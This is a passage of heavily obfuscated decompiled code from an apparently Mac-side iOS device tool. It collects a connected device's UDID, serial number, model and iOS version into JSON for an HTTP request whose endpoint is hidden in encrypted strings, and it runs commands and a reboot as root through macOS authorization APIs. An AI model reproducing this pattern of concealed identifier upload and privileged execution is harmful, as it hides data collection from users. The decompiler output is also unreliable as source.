CFSTR("c#\xD2\x4C\x1C9vQp\x83\x88\x1A"));
objc_msgSend(
v109,
"setValue:forHTTPHeaderField:",
CFSTR("N\x81\xE6\x16\x8Cy\xA5\xE8\xE0\x58I*\x01\x8B(tr;\x11\xE6\x28\xAB\x82\x81\xC6\xC4\xAFg\xC5\x2D(\x19\x8ER\xFD\xF0\xCF\xFA\x02IZ`\x11\bh\xBFO3Z\x8E"),
CFSTR("\xAF\u05CF\fy\xC1\x37\xB4\xB4K\x1E"));
*v111 = CFSTR("\xAD\xE7\x33\xB2");
v50 = +[iOSDevice UDID](&OBJC_CLASS___iOSDevice, "UDID");
v97 = objc_retainAutoreleasedReturnValue(v50);
*v110 = v97;
v111[1] = CFSTR("5D*\x8A=\xBF");
v51 = v110;
v52 = +[iOSDevice Model](&OBJC_CLASS___iOSDevice, "Model");
v98 = objc_retainAutoreleasedReturnValue(v52);
v51[1] = v98;
v111[2] = CFSTR("ĭ[\x83\xD5\xE9\xB2");
v53 = v110;
v54 = objc_msgSend(&OBJC_CLASS___iOSDevice, v79);
v55 = objc_retainAutoreleasedReturnValue(v54);
v53[2] = v55;
v111[3] = CFSTR("\xF4\x0B\xEF\xDD\xF3\x96\x18\xF9\x9F\xBC\x8Dؘ");
v56 = v110;
v57 = +[iOSDevice ProductType](&OBJC_CLASS___iOSDevice, "ProductType");
v58 = objc_retainAutoreleasedReturnValue(v57);
v56[3] = v58;
v111[4] = CFSTR("*\xFC\x8A\x04\x06\xBA\x82\xC4\x6B\xDB\xDE");
v59 = v110;
v60 = HikariFunctionWrapper_18185(&OBJC_CLASS___iOSDevice, "iOSVersion");
v61 = objc_retainAutoreleasedReturnValue(v60);
v59[4] = v61;
v111[5] = CFSTR("\xEA\x16\x58\x0F");
v110[5] = v91;
v62 = HikariFunctionWrapper_18187(
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:");
v92 = objc_retainAutoreleasedReturnValue(v62);
objc_release(v61);
objc_release(v58);
objc_release(v55);
objc_release(v98);
objc_release(v97);
*v106 = 0;
v63 = HikariFunctionWrapper_18189(
&OBJC_CLASS___NSJSONSerialization,
"dataWithJSONObject:options:error:");
v100 = objc_retainAutoreleasedReturnValue(v63);
v104 = *v106;
objc_retain(v104);
v113 = v104 == 0;
v3 = 0;
v1 = -422481508;
LABEL_164:
v4 = 2085420952;
LABEL_242:
if ( v3 )
v1 = v4;
goto LABEL_246;
}
}
else
{
if ( v90 == 1987604111 )
{
v3 = 1;
v1 = 1335529243;
v4 = 315722544;
goto LABEL_242;
}
if ( v90 == 2015074129 )
*v118 = -616099949;
}
}
if ( v90 <= 539393056 )
break;
if ( v90 > 654260509 )
{
if ( v90 > 940920267 )
{
switch ( v90 )
{
case 940920268:
*v118 = -1866863750;
break;
case 946420575:
*v118 = -195833659;
break;
case 968941186:
v5 = 1;
v1 = 170211618;
v6 = 1747773972;
goto LABEL_233;
}
}
else
{
switch ( v90 )
{
case 654260510:
objc_release(v88);
objc_release(v100);
objc_release(v104);
objc_release(v92);
objc_release(v109);
objc_release(v80);
objc_release(v91);
objc_autoreleaseReturnValue(v96);
*v118 = -1147375962;
break;
case 868039479:
a5d[0] = 77;
a5d[1] = 111;
a5d[2] = 100;
a5d[3] = 101;
a5d[4] = 108;
a5d[5] = 0;
qmemcpy(asc_100284D60, "Failed to make HTTP re", 22);
v116 = 113;
*v118 = -481061563;
break;
case 907137694:
v81 = "localizedDescription";
*v118 = -1692999576;
break;
}
}
}
else if ( v90 > 568014182 )
{
switch ( v90 )
{
case 568014183:
v3 = 1;
v1 = 557348003;
v4 = -176259179;
goto LABEL_242;
case 636121022:
*v118 = -2067284009;
break;
case 651245854:
v76 = v95;
v5 = 0;
v1 = 1622037242;
v6 = -1665659866;
goto LABEL_233;
}
}
else
{
switch ( v90 )
{
case 539393057:
*v118 = 651245854;
v95 = CFSTR("\xEA\xBD\x78\xDD\x28\x00h\xC1\x64!\xE5\xBB\x41\x9EV\xB3\x01|\x9E\x8B\xE6\xDD\x47\xA5\xDD\x12\x984");
break;
case 557348003:
v64 = +[iOSDevice SerialNumber](&OBJC_CLASS___iOSDevice, "SerialNumber");
objc_retainAutoreleasedReturnValue(v64);
*v118 = -176259179;
break;
case 567960679:
objc_msgSend(v105, v94);
*v118 = -196871066;
break;
}
}
}
if ( v90 > 345613046 )
break;
if ( v90 > 266549451 )
{
switch ( v90 )
{
case 266549452:
dword_10029F5D8 = 1;
goto LABEL_180;
case 283514080:
objc_msgSend(v109, v82, v100);
*v118 = 1780824675;
break;
case 315722544:
v0 = !v115;
v1 = -719096247;
v2 = -1204962270;
goto LABEL_237;
}
}
else
{
switch ( v90 )
{
case 124697214:
v5 = 1;
v1 = 1811877106;
v6 = -1900569520;
goto LABEL_233;
case 147249918:
v0 = !v114;
v1 = 355139373;
v2 = -341965527;
goto LABEL_237;
case 170211618:
NSLog(CFSTR("3\uDD87\x8Fk\xC7\x58\xCE\xCDP?d\xA2\x173\xAE]P^kX\xE0\x53\x3E\"\xBEb_<"), v103);
objc_release(v103);
v0 = 0;
v1 = 170211618;
v2 = 636121022;
goto LABEL_237;
}
}
}
if ( v90 > 453581019 )
break;
switch ( v90 )
{
case 345613047:
v0 = 0;
v1 = -2053851931;
v2 = -1159302344;
goto LABEL_237;
case 355139373:
v0 = 0;
v1 = -720142827;
v2 = -357727982;
goto LABEL_237;
case 364661356:
asc_100284BF0[22] = v117;
asc_100284BF0[23] = 0;
strcpy(aA_21, "%@-%@-%@-%@");
strcpy(a05k, "HTTP Request Failed");
strcpy(asc_100284B70, "Failed to create JSON payload");
v0 = 0;
v1 = -1288910753;
v2 = 940920268;
goto LABEL_237;
}
}
if ( v90 <= 487612476 )
break;
if ( v90 == 487612477 )
{
v112 = v89 == 0;
*v118 = 345613047;
}
else if ( v90 == 496223870 )
{
v3 = 1;
v1 = 1796118817;
goto LABEL_164;
}
}
if ( v90 != 475441500 )
break;
*v118 = -2136714778;
}
}
while ( v90 != 453581020 );
return v96;
}
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 100284E20: using guessed type __CFString cfstr_05k;
// 100284EE0: using guessed type __CFString stru_100284EE0;
// 100284F20: using guessed type __CFString stru_100284F20;
// 100284F60: using guessed type __CFString stru_100284F60;
// 100284FA0: using guessed type __CFString stru_100284FA0;
// 100284FE0: using guessed type __CFString stru_100284FE0;
// 100285020: using guessed type __CFString stru_100285020;
// 100285060: using guessed type __CFString cfstr_I_8;
// 1002850A0: using guessed type __CFString stru_1002850A0;
// 1002850E0: using guessed type __CFString cfstr_N_24_0;
// 100285120: using guessed type __CFString stru_100285120;
// 1002851A0: using guessed type __CFString cfstr_5d;
// 1002851E0: using guessed type __CFString cfstr_C_15_0;
// 100285220: using guessed type __CFString stru_100285220;
// 100285260: using guessed type __CFString stru_100285260;
// 1002852A0: using guessed type __CFString cfstr_A_21;
// 10029F5D8: using guessed type int dword_10029F5D8;
//----- (0000000100173B6D) ----------------------------------------------------
#error "100173B6D: too big function (funcsize=0)"
//----- (0000000100195BD9) ----------------------------------------------------
__int64 __fastcall executeWithSudo(char *pathToTool, char **arguments)
{
char v2; // cf
int v3; // eax
int v4; // ecx
bool v5; // zf
int v6; // ecx
bool v7; // zf
int v8; // ecx
bool v9; // cf
int v10; // ecx
char *v11; // rax
__int64 v13; // [rsp+0h] [rbp-A0h] BYREF
FILE *v14; // [rsp+8h] [rbp-98h]
char *v15; // [rsp+10h] [rbp-90h]
FILE *v16; // [rsp+18h] [rbp-88h]
const AuthorizationOpaqueRef *v17; // [rsp+20h] [rbp-80h]
AuthorizationRef authorization; // [rsp+28h] [rbp-78h]
FILE *v19; // [rsp+30h] [rbp-70h]
unsigned int v20; // [rsp+3Ch] [rbp-64h]
int v21; // [rsp+40h] [rbp-60h]
int v22; // [rsp+44h] [rbp-5Ch] BYREF
AuthorizationRef *v23; // [rsp+48h] [rbp-58h]
char *v24; // [rsp+50h] [rbp-50h]
FILE **communicationsPipe; // [rsp+58h] [rbp-48h]
bool v26; // [rsp+61h] [rbp-3Fh]
char v27; // [rsp+62h] [rbp-3Eh]
bool v28; // [rsp+63h] [rbp-3Dh]
bool v29; // [rsp+64h] [rbp-3Ch]
bool v30; // [rsp+65h] [rbp-3Bh]
bool v31; // [rsp+66h] [rbp-3Ah]
char v32; // [rsp+67h] [rbp-39h]
int *v33; // [rsp+68h] [rbp-38h]
__int64 v34; // [rsp+70h] [rbp-30h]
v34 = -1;
v20 = -802610533;
v22 = -2140680979;
v33 = &v22;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v22 > -148575714 )
{
if ( v22 <= 674848786 )
{
if ( v22 <= 113068762 )
{
if ( v22 > -10872439 )
{
if ( v22 > 35692855 )
{
switch ( v22 )
{
case 35692856:
goto LABEL_180;
case 94027657:
NSLog(CFSTR("-\xB4ɥ\v\xA2\x1F\x9B$up\xF9o\xC8\x70dT\x80\xB8~'\xD0\x7F\xCA\xD5H\xBA\x14\xB7\n\xE6\xFE\xC8"));
*v33 = 737171860;
break;
case 94410225:
goto LABEL_155;
}
}
else
{
switch ( v22 )
{
case -10872438:
*v33 = 94410225;
break;
case -9421787:
v2 = 1;
v3 = -1079281751;
v4 = -1956135946;
LABEL_225:
if ( !v2 )
v3 = v4;
goto LABEL_254;
case 25180103:
fgets(v24, 1024, v19);
*v33 = 155917471;
break;
}
}
}
else if ( v22 > -69412984 )
{
switch ( v22 )
{
case -69412983:
*v33 = 290357704;
break;
case -42575541:
*v33 = -379763954;
break;
case -14646431:
v19 = *communicationsPipe;
*v33 = -1414495565;
break;
}
}
else
{
switch ( v22 )
{
case -148575713:
*v33 = -14646431;
break;
case -145698411:
v2 = 1;
v3 = 737171860;
goto LABEL_223;
case -133461975:
qmemcpy(asc_100286750, "Fallo al obtener permisos", 25);
v2 = 1;
v27 = 32;
v3 = 1821337912;
LABEL_111:
v4 = -133461975;
goto LABEL_225;
}
}
}
else if ( v22 <= 275449084 )
{
if ( v22 > 182949759 )
{
switch ( v22 )
{
case 182949760:
v9 = 0;
v3 = 788096889;
v10 = -1318937855;
goto LABEL_252;
case 191580496:
v29 = AuthorizationExecuteWithPrivileges(
authorization,
pathToTool,
0,
arguments,
communicationsPipe) == 0;
v2 = 1;
v14 = *communicationsPipe;
v3 = -215337963;
v4 = 1897655908;
goto LABEL_225;
case 261088634:
v5 = 0;
v3 = -1603512814;
v6 = 833469074;
goto LABEL_235;
}
}
else
{
switch ( v22 )
{
case 113068763:
*v33 = 1503713236;
break;
case 155917471:
v31 = HikariFunctionWrapper_18661(v24, 1024, v19) == 0;
v9 = 1;
v3 = 25180103;
v10 = -923642265;
goto LABEL_252;
case 170383144:
fgets(v24, 1024, *communicationsPipe);
*v33 = 1885694656;
break;
}
}
}
else if ( v22 <= 372632415 )
{
switch ( v22 )
{
case 275449085:
*v33 = -772065065;
break;
case 290357704:
v9 = 0;
v3 = -14646431;
v10 = -148575713;
goto LABEL_252;
case 323653761:
v5 = 0;
v3 = 2145317662;
v6 = -833206572;
goto LABEL_235;
}
}
else if ( v22 > 472161807 )
{
if ( v22 == 472161808 )
{
v5 = !v30;
LABEL_233:
v3 = 372632416;
v6 = 1519857819;
goto LABEL_235;
}
if ( v22 == 632078155 )
{
v5 = !v28;
v3 = -145698411;
v6 = -535777432;
goto LABEL_235;
}
}
else
{
if ( v22 == 372632416 )
{
v9 = 1;
v3 = 954915537;
v10 = -267659922;
goto LABEL_252;
}
if ( v22 == 439486375 )
*v33 = -559656484;
}
}
else if ( v22 > 1519857818 )
{
if ( v22 <= 1897655907 )
{
if ( v22 > 1821337911 )
{
switch ( v22 )
{
case 1821337912:
*v33 = 1018254105;
break;
case 1822876232:
asc_100286750[32] = v32;
asc_100286750[33] = 46;
asc_100286750[34] = 0;
strcpy(asc_1002866F0, "Ejecutando comando con privilegios...");
strcpy(aS_19, "[root] %s");
strcpy(aU5K, "Fallo al ejecutar el comando con sudo.");
v7 = 0;
v3 = -1969812256;
v8 = -1651406959;
LABEL_193:
if ( v7 )
v3 = v8;
LABEL_254:
*v33 = v3;
break;
case 1885694656:
v11 = HikariFunctionWrapper_18657(v24, 1024, *communicationsPipe);
v2 = 1;
v15 = v11;
v3 = 275449085;
v4 = 1885694656;
goto LABEL_225;
}
}
else
{
switch ( v22 )
{
case 1519857819:
v5 = 0;
v3 = -1505162967;
v6 = -963377093;
goto LABEL_235;
case 1672044015:
*communicationsPipe = 0;
*v33 = -1205065279;
break;
case 1699262198:
*v33 = 1135629298;
break;
}
}
}
else if ( v22 <= 2050857397 )
{
switch ( v22 )
{
case 1897655908:
HikariFunctionWrapper_18667(authorization, pathToTool, 0, arguments, communicationsPipe);
*v33 = 191580496;
break;
case 2030690878:
*v33 = 261088634;
break;
case 2034333272:
LABEL_180:
*v33 = -1140806876;
break;
}
}
else if ( v22 > 2121616894 )
{
if ( v22 == 2121616895 )
goto LABEL_202;
if ( v22 == 2145317662 )
{
HikariFunctionWrapper_18665(0, 0, 0, v23);
*v33 = -833206572;
}
}
else
{
if ( v22 == 2050857398 )
{
v9 = 1;
v3 = -1545663844;
v10 = -1052114562;
goto LABEL_252;
}
if ( v22 == 2118321567 )
*v33 = -1101535806;
}
}
else if ( v22 <= 1018254104 )
{
if ( v22 > 788096888 )
{
switch ( v22 )
{
case 788096889:
HikariFunctionWrapper_18655(CFSTR("\x12\xC1\x8F7\xCF\x04H>vr\xC1\x45\xD9\x13\x9C:јE2½\xF5\x1B\x34\x07\xD0\x0E\xF8\x82\xFE\x97Ԫ\xC1\x45\xB4\x98"));
v2 = 0;
v3 = 788096889;
v4 = 113068763;
goto LABEL_225;
case 833469074:
v26 = v21 == 0;
v2 = 0;
v3 = -1603512814;
v4 = 1063130545;
goto LABEL_225;
case 954915537:
printf(aS_19, v24);
*v33 = -267659922;
break;
}
}
else
{
switch ( v22 )
{
case 674848787:
*v33 = -1413915906;
break;
case 737171860:
NSLog(CFSTR("-\xB4ɥ\v\xA2\x1F\x9B$up\xF9o\xC8\x70dT\x80\xB8~'\xD0\x7F\xCA\xD5H\xBA\x14\xB7\n\xE6\xFE\xC8"));
v2 = 1;
v3 = -1914450810;
LABEL_223:
v4 = 94027657;
goto LABEL_225;
case 786514198:
*v33 = -1979586122;
break;
}
}
}
else if ( v22 <= 1199192706 )
{
switch ( v22 )
{
case 1018254105:
asc_100286750[25] = v27;
asc_100286750[26] = 100;
asc_100286750[27] = 101;
asc_100286750[28] = 32;
asc_100286750[29] = 115;
asc_100286750[30] = 117;
asc_100286750[31] = 100;
v32 = 111;
*v33 = -683314773;
break;
case 1063130545:
*v33 = -857224430;
break;
case 1135629298:
v5 = 0;
v21 = dword_10029F5E0;
v3 = 1699262198;
v6 = 2030690878;
goto LABEL_235;
}
}
else if ( v22 > 1373643868 )
{
if ( v22 == 1373643869 )
{
*v33 = -1791589479;
}
else if ( v22 == 1503713236 )
{
v5 = 0;
v3 = 170383144;
v6 = 1885694656;
goto LABEL_235;
}
}
else
{
if ( v22 == 1199192707 )
goto LABEL_179;
if ( v22 == 1202863035 )
*v33 = -808841172;
}
}
if ( v22 <= -923642266 )
break;
if ( v22 <= -657086309 )
{
if ( v22 > -808841173 )
{
if ( v22 > -786616784 )
{
switch ( v22 )
{
case -786616783:
qmemcpy(asc_100286750, "Fallo al obtener permisos", 25);
*v33 = -133461975;
break;
case -772065065:
v5 = 0;
v3 = 674848787;
v6 = -1413915906;
goto LABEL_235;
case -683314773:
v9 = 0;
v3 = 1822876232;
v10 = -1651406959;
goto LABEL_252;
}
}
else
{
switch ( v22 )
{
case -808841172:
v5 = 0;
v3 = 1897655908;
v6 = 191580496;
LABEL_235:
if ( !v5 )
v3 = v6;
goto LABEL_254;
case -807155426:
*v33 = 323653761;
break;
case -807115459:
v9 = 0;
v3 = -1101535806;
v10 = 2118321567;
goto LABEL_252;
}
}
}
else if ( v22 > -855349743 )
{
switch ( v22 )
{
case -855349742:
HikariFunctionWrapper_18663(v17, 0);
*v33 = -9421787;
break;
case -833206572:
v28 = AuthorizationCreate(0, 0, 0, v23) == 0;
v5 = 0;
v3 = 2145317662;
v6 = 632078155;
goto LABEL_235;
case -832173167:
v9 = 0;
v3 = -1695640044;
v10 = -999120077;
goto LABEL_252;
}
}
else
{
switch ( v22 )
{
case -923642265:
v5 = !v31;
goto LABEL_233;
case -909218246:
*v33 = 1373643869;
break;
case -857224430:
v5 = !v26;
v3 = -1227881618;
v6 = -351619097;
goto LABEL_235;
}
}
}
else if ( v22 <= -441684717 )
{
if ( v22 > -535777433 )
{
switch ( v22 )
{
case -535777432:
v9 = 0;
v3 = -1205065279;
v10 = 1672044015;
goto LABEL_252;
case -526899223:
NSLog(CFSTR("U\v5\x03ֈk\xDF\x24Yx\xF9\x9F(X\xA4\x00[\xA3|\xC6\x3D\xCC\x68\x91\a\x18\x8EPg'wt\xFA_\xCB\xE7\xAFq"));
v2 = 1;
v3 = 786514198;
v4 = -657086308;
goto LABEL_225;
case -454765332:
*v33 = -1113675970;
break;
}
}
else
{
switch ( v22 )
{
case -657086308:
HikariFunctionWrapper_18669(CFSTR("U\v5\x03ֈk\xDF\x24Yx\xF9\x9F(X\xA4\x00[\xA3|\xC6\x3D\xCC\x68\x91\a\x18\x8EPg'wt\xFA_\xCB\xE7\xAFq"));
LABEL_202:
*v33 = -526899223;
break;
case -559656484:
*v33 = -807155426;
break;
case -553783682:
v3 = 2121616895;
if ( v14 )
v3 = 182949760;
v7 = !v29;
v8 = 2121616895;
goto LABEL_193;
}
}
}
else if ( v22 <= -267659923 )
{
switch ( v22 )
{
case -441684716:
goto LABEL_166;
case -379763954:
fclose(v16);
*v33 = -1448038562;
break;
case -351619097:
v2 = 0;
v3 = -786616783;
goto LABEL_111;
}
}
else if ( v22 > -215337964 )
{
if ( v22 == -215337963 )
{
*v33 = -553783682;
}
else if ( v22 == -173903359 )
{
LABEL_166:
*v33 = -807115459;
}
}
else
{
if ( v22 == -267659922 )
{
HikariFunctionWrapper_18659(aS_19);
v7 = 0;
v3 = -69412983;
v8 = 954915537;
goto LABEL_193;
}
if ( v22 == -230701008 )
{
v2 = 0;
v3 = 439486375;
v4 = -559656484;
goto LABEL_225;
}
}
}
if ( v22 > -1414495566 )
break;
if ( v22 <= -1791589480 )
{
if ( v22 > -1969812257 )
{
switch ( v22 )
{
case -1969812256:
*v33 = -1227881618;
break;
case -1956135946:
*v33 = -1079281751;
break;
case -1914450810:
*v33 = -832173167;
break;
}
}
else
{
switch ( v22 )
{
case -2140680979:
v9 = v20 < 0xD6DEDF42;
v3 = 1699262198;
v10 = 1135629298;
LABEL_252:
if ( v9 )
v3 = v10;
goto LABEL_254;
case -2028469593:
v5 = 0;
v3 = 25180103;
v6 = 155917471;
goto LABEL_235;
case -1979586122:
v2 = 0;
v3 = -454765332;
v4 = -1113675970;
goto LABEL_225;
}
}
}
else if ( v22 <= -1603512815 )
{
switch ( v22 )
{
case -1791589479:
LABEL_179:
*v33 = 35692856;
break;
case -1695640044:
v9 = 1;
v3 = -999120077;
v10 = -441684716;
goto LABEL_252;
case -1651406959:
asc_100286750[32] = v32;
asc_100286750[33] = 46;
asc_100286750[34] = 0;
strcpy(asc_1002866F0, "Ejecutando comando con privilegios...");
strcpy(aS_19, "[root] %s");
strcpy(aU5K, "Fallo al ejecutar el comando con sudo.");
*v33 = 1822876232;
break;
}
}
else if ( v22 > -1505162968 )
{
if ( v22 == -1505162967 )
{
*v33 = -963377093;
}
else if ( v22 == -1448038562 )
{
v5 = 0;
v3 = -909218246;
v6 = 1373643869;
goto LABEL_235;
}
}
else if ( v22 == -1603512814 )
{
*v33 = 833469074;
}
else if ( v22 == -1545663844 )
{
LABEL_155:
*v33 = 2050857398;
}
}
if ( v22 > -1113675971 )
break;
if ( v22 > -1227881619 )
{
switch ( v22 )
{
case -1227881618:
dword_10029F5E0 = 1;
v23 = (AuthorizationRef *)&v13;
communicationsPipe = (FILE **)&v13;
v24 = (char *)(&v13 - 128);
*v33 = -230701008;
break;
case -1205065279:
v9 = 1;
*communicationsPipe = 0;
authorization = *v23;
v3 = 1672044015;
v10 = 1202863035;
goto LABEL_252;
case -1140806876:
v9 = 0;
v17 = *v23;
v3 = -938688429;
v10 = -1140806876;
goto LABEL_252;
}
}
else
{
switch ( v22 )
{
case -1414495565:
*v33 = -2028469593;
break;
case -1413915906:
v30 = v15 == 0;
v5 = 0;
v3 = -1413915906;
v6 = 472161808;
goto LABEL_235;
case -1318937855:
NSLog(CFSTR("\x12\xC1\x8F7\xCF\x04H>vr\xC1\x45\xD9\x13\x9C:јE2½\xF5\x1B\x34\x07\xD0\x0E\xF8\x82\xFE\x97Ԫ\xC1\x45\xB4\x98"));
*v33 = 788096889;
break;
}
}
}
if ( v22 > -1052114563 )
break;
switch ( v22 )
{
case -1113675970:
v9 = 1;
v3 = -454765332;
v10 = 1199192707;
goto LABEL_252;
case -1101535806:
v7 = 0;
v3 = -10872438;
v8 = 2118321567;
goto LABEL_193;
case -1079281751:
v9 = 1;
v3 = -1079281751;
v10 = -173903359;
goto LABEL_252;
}
}
if ( v22 <= -963377094 )
break;
if ( v22 == -963377093 )
{
v2 = 0;
v16 = *communicationsPipe;
v3 = -963377093;
v4 = -42575541;
goto LABEL_225;
}
if ( v22 == -938688429 )
*v33 = -855349742;
}
if ( v22 != -999120077 )
break;
*v33 = -1695640044;
}
}
while ( v22 != -1052114562 );
return -1;
}
// 10029F5E0: using guessed type int dword_10029F5E0;
//----- (00000001001981C7) ----------------------------------------------------
__int64 __fastcall executeRebootWithMessage(void *a1)
{
char *v1; // rax
char v2; // cf
int v3; // eax
int v4; // ecx
bool v5; // zf
int v6; // ecx
bool v7; // cf
int v8; // ecx
AuthorizationItem *v9; // rbx
UInt32 *p_flags; // [rsp+0h] [rbp-A0h] BYREF
id v12; // [rsp+8h] [rbp-98h]
unsigned int v13; // [rsp+14h] [rbp-8Ch]
int v14; // [rsp+18h] [rbp-88h]
int v15; // [rsp+1Ch] [rbp-84h] BYREF
char **arguments; // [rsp+20h] [rbp-80h]
FILE **communicationsPipe; // [rsp+28h] [rbp-78h]
char *__s; // [rsp+30h] [rbp-70h]
AuthorizationRights *rights; // [rsp+38h] [rbp-68h]
UInt32 **v20; // [rsp+40h] [rbp-60h]
AuthorizationRef *authorization; // [rsp+48h] [rbp-58h]
AuthorizationEnvironment *environment; // [rsp+50h] [rbp-50h]
AuthorizationItem *v23; // [rsp+58h] [rbp-48h]
bool v24; // [rsp+64h] [rbp-3Ch]
char v25; // [rsp+65h] [rbp-3Bh]
bool v26; // [rsp+66h] [rbp-3Ah]
char v27; // [rsp+67h] [rbp-39h]
int *v28; // [rsp+68h] [rbp-38h]
__int64 v29; // [rsp+70h] [rbp-30h]
v12 = a1;
v29 = -1;
v13 = -246406362;
v15 = 384911456;
v28 = &v15;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v15 > 88002953 )
{
if ( v15 > 917982040 )
{
if ( v15 <= 1415432291 )
{
if ( v15 > 1096926102 )
{
switch ( v15 )
{
case 1096926103:
v5 = !v26;
v3 = 1998540913;
v6 = -163527445;
goto LABEL_124;
case 1304424033:
*v28 = -845609573;
break;
case 1407148412:
*v28 = -1864585586;
break;
}
}
else
{
switch ( v15 )
{
case 917982041:
*v28 = -415509202;
break;
case 1018757695:
*v28 = -50969775;
break;
case 1078186255:
*v28 = -1421187782;
break;
}
}
}
else if ( v15 <= 1724982299 )
{
switch ( v15 )
{
case 1415432292:
*v28 = 837638405;
break;
case 1471002128:
AuthorizationFree(*authorization, 0);
v3 = 1304424033;
goto LABEL_134;
case 1598732571:
v24 = v14 == 0;
v3 = 1078186255;
goto LABEL_134;
}
}
else if ( v15 > 1998540912 )
{
if ( v15 == 1998540913 )
{
v2 = 1;
v3 = 1471002128;
v4 = 520880497;
goto LABEL_105;
}
if ( v15 == 2106576518 )
{
byte_100286965 = v27 ^ 0x98;
strcpy(&byte_100286966, ".privilege.admin");
strcpy(&pathToTool, "/sbin/reboot");
asc_100286900[0] = 82;
asc_100286900[1] = 101;
asc_100286900[2] = 98;
asc_100286900[3] = 111;
asc_100286900[4] = 111;
asc_100286900[5] = 116;
asc_100286900[6] = 105;
asc_100286900[7] = 110;
v2 = 1;
v25 = 103;
v3 = 917982041;
LABEL_93:
v4 = 2106576518;
LABEL_105:
if ( !v2 )
v3 = v4;
goto LABEL_134;
}
}
else if ( v15 == 1724982300 )
{
*v28 = -1070700626;
}
else if ( v15 == 1944756954 )
{
*p_flags = 0;
*(&v23->flags + 1) = 0;
environment->count = 1;
*(&environment->count + 1) = 0;
environment->items = v23;
AuthorizationCreate(0, 0, 0, authorization);
AuthorizationCopyRights(*authorization, rights, environment, 3u, 0);
*communicationsPipe = 0;
AuthorizationExecuteWithPrivileges(*authorization, &pathToTool, 0, arguments, communicationsPipe);
*v28 = -1025449364;
}
}
else if ( v15 <= 562438084 )
{
if ( v15 > 240298067 )
{
switch ( v15 )
{
case 240298068:
HikariFunctionWrapper_18675(CFSTR("\x13\x03\xF1\xD9\x4A\xC1\xED\x93\x798J/~\xC4\xD5\xCD\x2B\x0E\x1DL\uDBC1K\x8E\xA3\xC0\x20\xD1\x67"));
*v28 = 582690434;
break;
case 384911456:
v7 = v13 < 0x29114EB2;
v3 = 861919678;
v8 = 825209625;
LABEL_132:
if ( v7 )
v3 = v8;
goto LABEL_134;
case 520880497:
HikariFunctionWrapper_18677(*authorization, 0);
*v28 = 1471002128;
break;
}
}
else
{
switch ( v15 )
{
case 88002954:
*v28 = -1226719956;
break;
case 133810875:
v23->name = &byte_100286860;
v23->valueLength = strlen(__s);
v23->value = __s;
v7 = 0;
p_flags = &v23->flags;
v3 = -112430895;
v8 = -1040735670;
goto LABEL_132;
case 142786490:
v2 = 1;
v3 = -1025449364;
v4 = 1944756954;
goto LABEL_105;
}
}
}
else if ( v15 <= 825209624 )
{
switch ( v15 )
{
case 562438085:
*v28 = -2083798598;
break;
case 582690434:
NSLog(CFSTR("\x13\x03\xF1\xD9\x4A\xC1\xED\x93\x798J/~\xC4\xD5\xCD\x2B\x0E\x1DL\uDBC1K\x8E\xA3\xC0\x20\xD1\x67"));
v7 = 1;
v3 = 240298068;
v8 = 1407148412;
goto LABEL_132;
case 703350776:
v5 = !v24;
v3 = -746426966;
v6 = -1729789854;
goto LABEL_124;
}
}
else if ( v15 > 861919677 )
{
if ( v15 == 861919678 )
{
v7 = 1;
v14 = dword_10029F5E4;
v3 = 861919678;
v8 = 1724982300;
goto LABEL_132;
}
if ( v15 == 890154818 )
{
v7 = 1;
v3 = -1415689584;
v8 = 703350776;
goto LABEL_132;
}
}
else if ( v15 == 825209625 )
{
*v28 = 861919678;
}
else if ( v15 == 837638405 )
{
LABEL_114:
*v28 = 133810875;
}
}
if ( v15 > -1070700627 )
break;
if ( v15 <= -1487113021 )
{
if ( v15 > -1774475636 )
{
switch ( v15 )
{
case -1774475635:
*v28 = -1198665459;
break;
case -1766210409:
goto LABEL_95;
case -1729789854:
v2 = 1;
v3 = -20044433;
v4 = -376010058;
goto LABEL_105;
}
}
else
{
switch ( v15 )
{
case -2083798598:
*v28 = -1487113020;
break;
case -1864585586:
v5 = 0;
v3 = 88002954;
v6 = -1226719956;
LABEL_124:
if ( !v5 )
v3 = v6;
LABEL_134:
*v28 = v3;
break;
case -1846625599:
dword_10029F5E4 = 1;
authorization = (AuthorizationRef *)(&p_flags - 2);
arguments = (char **)(&p_flags - 2);
v20 = &p_flags - 4;
rights = (AuthorizationRights *)(&p_flags - 2);
v23 = (AuthorizationItem *)(&p_flags - 4);
environment = (AuthorizationEnvironment *)(&p_flags - 2);
communicationsPipe = (FILE **)(&p_flags - 2);
showErrMessage(v12);
*arguments = 0;
*v20 = (UInt32 *)&byte_100286960;
v20[1] = (UInt32 *)12;
v20[2] = (UInt32 *)&pathToTool;
*((_DWORD *)v20 + 6) = 0;
*((_DWORD *)v20 + 7) = 0;
rights->count = 1;
*(&rights->count + 1) = 0;
rights->items = (AuthorizationItem *)v20;
v1 = (char *)objc_msgSend(
CFSTR("\xAB\x82\xF1\x5F\x45\xD3\xC1\x95\x81$\xF9\xA4;\xA7\xE6\xE4\x40=\bԎz\xBCc_&\xEE\x86\x3Cg\x1B\x1D\xE6\xF0\x79\xC3\xCDd\xAC\xCE\x39\ai\xB4"),
"UTF8String");
v2 = 0;
__s = v1;
v3 = -1846625599;
v4 = 1415432292;
goto LABEL_105;
}
}
}
else if ( v15 <= -1391118364 )
{
switch ( v15 )
{
case -1487113020:
v7 = 1;
v3 = 1018757695;
v8 = -50969775;
goto LABEL_132;
case -1421187782:
v7 = 1;
v3 = -1415689584;
v8 = 890154818;
goto LABEL_132;
case -1415689584:
*v28 = 890154818;
break;
}
}
else if ( v15 > -1226719957 )
{
if ( v15 == -1226719956 )
{
v3 = -1234429194;
goto LABEL_134;
}
if ( v15 == -1198665459 )
{
v2 = 0;
v3 = -518012166;
goto LABEL_93;
}
}
else if ( v15 == -1391118363 )
{
*v28 = 1598732571;
}
else if ( v15 == -1234429194 )
{
*v28 = 1998540913;
}
}
if ( v15 <= -415509203 )
break;
if ( v15 <= -112430896 )
{
switch ( v15 )
{
case -415509202:
asc_100286900[8] = v25;
asc_100286900[9] = 32;
asc_100286900[10] = 115;
asc_100286900[11] = 121;
asc_100286900[12] = 115;
asc_100286900[13] = 116;
asc_100286900[14] = 101;
asc_100286900[15] = 109;
asc_100286900[16] = 32;
asc_100286900[17] = 119;
asc_100286900[18] = 105;
asc_100286900[19] = 116;
